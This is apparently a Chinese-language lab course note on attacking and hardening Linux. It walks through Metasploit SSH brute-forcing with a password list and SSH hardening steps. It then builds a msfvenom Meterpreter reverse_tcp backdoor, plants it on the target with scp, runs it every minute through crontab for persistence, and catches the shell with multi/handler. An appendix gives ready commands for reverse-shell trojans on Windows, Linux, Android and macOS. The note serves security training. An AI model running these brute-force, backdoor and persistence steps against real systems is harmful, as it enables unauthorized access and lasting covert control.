目标:Linux系统攻防实战
内容回顾
MS17-010:永恒之蓝漏洞 一.漏洞验证:openvas扫描/poc脚本/MSF中搜索漏洞验证程序进行验证 二.使用MSF中的漏洞攻击/利用程序进行攻击 三.获取凭证信息 四.对目标主机的屏幕进行截图,监控对方屏幕,进程迁移,进行键盘记录 五.开启/关闭对方防火墙,在防火墙上留后门端口 六.控制对方的用户账户控制配置开关 七.将nc.exe瑞士军刀程序上传到目标主机 八.设置nc.exe开机自启 九.kali中使用命令连接后门:nc 目标IP 后门端口 十.清除日志
SSH连接报错解决
┌──(kali㉿kali)-[~] └─$ mkdir .ssh ┌──(kali㉿kali)-[~] └─$ vim .ssh/config //创建ssh配置文件,防止ssh连接报错 Host * HostkeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa
一、SSH渗透和防御
Linux是开源系统,系统本身因漏洞造成的攻击相对比较少,主要集中在SSH攻击;
SSH所采用的加密机制,可以防止数据传输过程中信息泄露;
SSH基于用户名密码的身份验证,容易遭受密码暴力破解攻击;
1、SSH暴力破解
1)创建字典
┌──(root㉿kali)-[~] └─# vim pass.txt root password Tedu.cn123 123456 msfadmin admin admin123
2)爆破
┌──(root㉿kali)-[~] └─# msfconsole msf6 > search ssh_login //破解密码,并登录 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/ scanner /ssh/ ssh_login normal No SSH Login Check Scanner 1 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner msf6 > use 0 msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.10.143 msf6 auxiliary(scanner/ssh/ssh_login) > show options //显示攻击选项 msf6 auxiliary(scanner/ssh/ssh_login) > set username msfadmin //设置爆破用户名 msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file pass.txt //设置密码文件 msf6 auxiliary(scanner/ssh/ssh_login) > run [+] 192.168.10.143:22 - Success: ' msfadmin:msfadmin ' // 爆破密码成功,并成功登录(产生会话) msf6 auxiliary(scanner/ssh/ssh_login) > sessions //显示连接的会话 Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH root @ 192.168.10.224:44051 -> 192.168.10.143 :22 (192.168.10.143) msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1 //切换会话 whoami sudo -i passwd root 改完root密码之后使用Moba进行远程连接,使用root身份输入命令
2、SSH安全配置
root@metasploitable:~# vim /etc/ssh/sshd_config //SSH服务配置文件 5 Port 12345 //修改端口为12345,黑客想不到的 25 LoginGraceTime 1m //修改登录验证总耗时,1分钟 26 PermitRootLogin no //修改不允许root远程登录 28 MaxAuthTries 2 //新增一行,最大试错次数,2次 29 AllowUsers msfadmin@192.168.10.1 //新增一行,仅允许指定用户在指定IP上登录 root@metasploitable:~# /etc/init.d/ssh restart //重启SSH服务
安全攻防: 防守方 不想别人通过默认端口22爆破我的账号密码,修改默认端口,从22修改为12345 攻击方: nmap 扫描,查看ssh服务对应的端口 namp -sV 192.168.10.143 12345端口对应的服务时ssh服务 再次爆破的时候除了上面设置的命令选项外 set rport 12345 再次发起攻击,就会再次成功破解
3、验证加固成功
1)验证端口号22无效,只能用12345

2)验证root无法远程登录
login as: root root@192.168.10.143 's password: root //输入正确密码,无法登录 Access denied
3)验证msfadmin可以从192.168.10.1登录
4)验证msfadmin密码允许试错2次
5)验证msfadmin用户从攻击机192.168.10.224上无法登录
┌──(kali㉿kali)-[~] └─$ mkdir .ssh ┌──(kali㉿kali)-[~] └─$ vim .ssh/config //创建ssh配置文件,防止ssh连接报错 Host * HostkeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa ┌──(kali㉿kali)-[~] └─$ ssh msfadmin@192.168.10.143 -p 12345 //指定端口12345登录 登录失败,因为ssh配置中不允许192.168.10.1以外的IP地址进行远程连接
4、SSH密钥验证远程访问
1)加密方式
对称加密:秘钥相同、速度快,秘钥不易管理

非对称加密:由公钥和私钥组成,两个密钥相互加密和解密,公钥公开,数字签名
应用场景
保障数据的机密性:公加私解(对方公钥加密,对方用自己的私钥解密)
保障数据的不可抵赖性:私加公解(自己用私钥加密,对方用我的公钥解密)

2)SSH应用密钥远程访问
- 客户端生成私钥(.ssh/id_rsa)和公钥( .ssh/id_rsa.pub),私钥放在客户端
- 把客户端生成的公钥上传到ssh服务器某用户主目录下(~/.ssh/authorized_keys )
- 在客户端以某用户的身份访问SSH服务器
在客户端moba终端上生成密钥对
/home/mobaxterm rm -rf .ssh/ //清除现有密钥对,防干扰 /home/mobaxterm ssh-keygen //生成新的密钥对 一路回车下去
将公钥传输到目标主机
/home/mobaxterm ssh-copy-id root@192.168.10.143 //传到root主目录,将会以 root 身份远程访问
以密钥方式访问目标主机

修改 SSH 配置文件,禁止使用密码登录
root@metasploitable:~# vim /etc/ssh/sshd_config 50 PasswordAuthentication no //禁止SSH使用密码登录 root@metasploitable:~# /etc/init.d/ssh restart //重启ssh服务
使用cmd制作密钥(如果Moba不好用的话选择此方法):
1.win+r输入cmd, 打开windows cmd命令行 生成密钥对: ssh-keygen 2.查看密钥生成的位置 dir .ssh 3.将.ssh目录下id_rsa.pub文件上传到目标主机 ~/.ssh/authorized_keys scp .ssh/id_rsa.pub root@192.168.10.143:~/.ssh/authorized_keys 4.Moba在建立ssh远程连接时,在高级SSH设置中勾选 使用私钥,并手动选择私钥位置 (使用cmd生成的密钥位置在C:\Users\windows当前登录的用户名\.ssh\id_rsa )

二、Linux后门
侵入成功后,为了持久远程控制对方,即便是对方已经进行安全加固
1、创建后门程序(在kali第一个终端中执行)# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell
后门名称是shell,反弹到192.168.10.224的4444端口
reverse_tcp:tcp反弹连接 优点:突破防火墙 突破内网的限制
-o 指定创建的后门程序
-lhost 反弹的主机:本机IP地址
-lport 反弹的端口:本地端口号
# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell 后门名称是shell,反弹到192.168.10.224的4444端口 reverse_tcp:tcp反弹连接 优点:突破防火墙 突破内网的限制 -o 指定创建的后门程序 -lhost 反弹的主机:本机IP地址 -lport 反弹的端口:本地端口号
2、植入后门程序(持久性控制)(在kali第一个终端中执行)前提:已经侵入到目标主机,获得了对方账号密码还原靶机快照,进行下列操作┌──(root㉿kali)-[~]
└─# scp shell root@192.168.10.143:/mnt //上传到靶机/mnt下
前提:已经侵入到目标主机,获得了对方账号密码
还原靶机快照,进行下列操作
┌──(root㉿kali)-[~] └─# scp shell root@192.168.10.143:/mnt //上传到靶机/mnt下
3、激活后门程序(在kali第一个终端中执行)
┌──(root㉿kali)-[~] └─# ssh root@192.168.10.143 //远程连接目标主机 root@metasploitable:~# ls -l /mnt/shell //查看shell是否可以执行 -rw - r- - r- - 1 root root 207 2023-01-03 03:54 /mnt/shell root@metasploitable:~# chmod a+x /mnt/shell //设置全部用户执行权限 root@metasploitable:~# ls -l /mnt/shell -rwxr-xr-x 1 root root 207 2023-01-03 03:54 /mnt/shell root@metasploitable:~# /mnt/shell & //在后台执行后门程序,手动完成
4、攻击机连接后门(在kali第二个终端中执行)
┌──(root㉿kali)-[~] └─# msfconsole msf6 > use exploit/multi/handler //调用侦听模块 msf6 exploit(multi/handler) > set lhost 192.168.10.224 //设置响应的IP地址 msf6 exploit(multi/handler) > set lport 4444 //设置响应的端口号 msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp //调用基于TCP的反弹载荷 msf6 exploit(multi/handler) > run meterpreter > //进入meterpreter说明连接成功
5、自动执行后门程序
1)Linux计划任务crontab程序,可以周期的执行某些程序
创建命令和格式:# EDITOR=vim crontab -e
* * * * * 命令行
分 时 天 月 周 命令行
30 6 * * * /mnt/shell //每天6点30分执行/mnt/shell程序 * * * * * /mnt/shell //每分钟执行一次 1 * * * * /mnt/shell //每小时的第1分钟执行 1 1 * * * /mnt/shell //每天1点1分执行 1 1 1 * * /mnt/shell //每月1日,1点1分执行
计划任务: 15 * * * * :每个小时的第15分钟执行一次计划任务 15 12 * * * :每天的12:15分执行一次计划任务 15 12 6 * * :每个月的 6日 12:15 执行一次计划任务 15 12 6 7 * :每年7月6日 12:15 执行一次计划任务 15 12 * * 0 : 每周的周日 12:15 执行一次计划任务
2)在目标主机创建计划任务(在kali第一个终端中执行)
root@metasploitable:~# EDITOR=vim crontab -e //调用vim编辑 * * * * * /bin/date>>/tmp/time.txt * * * * * /mnt/shell & //每分钟执行/mnt/shell后门程序
3)检查 MSF 会话(在kali第二个终端中执行)
msf6 exploit(multi/handler) > run //连接后门程序 meterpreter > background //如进行其它任务,把当前任务放入后台 msf6 exploit(multi/handler) > sessions //查看所有会话 msf6 exploit(multi/handler) > sessions 会话ID //切换到会话
练习
0.还原Linux靶机到初始化位置 1.获取Linux靶机IP,扫描Linux软件版本和开放的端口 (22端口 ssh有没有开放,vsftpd是否存在笑脸漏洞) 2.ssh暴力破解/笑脸漏洞入侵到Linux中,设置root用户的密码 3.连接到Linux靶机,制作一款木马上传 4.指定计划任务,木马定期执行 5.kali侦听木马上线,进行连接 6.禁止ssh使用密码连接,使用密钥进行ssh连接(进行ssh爆破防御)
附:各操作系统生成木马命令
Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -f exe > backdoor.exe Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -f elf > backdoor.elf Android: msfvenom -p android/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 R > backdoor.apk MacOS: msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你的端口 -f macho > backdoor.macho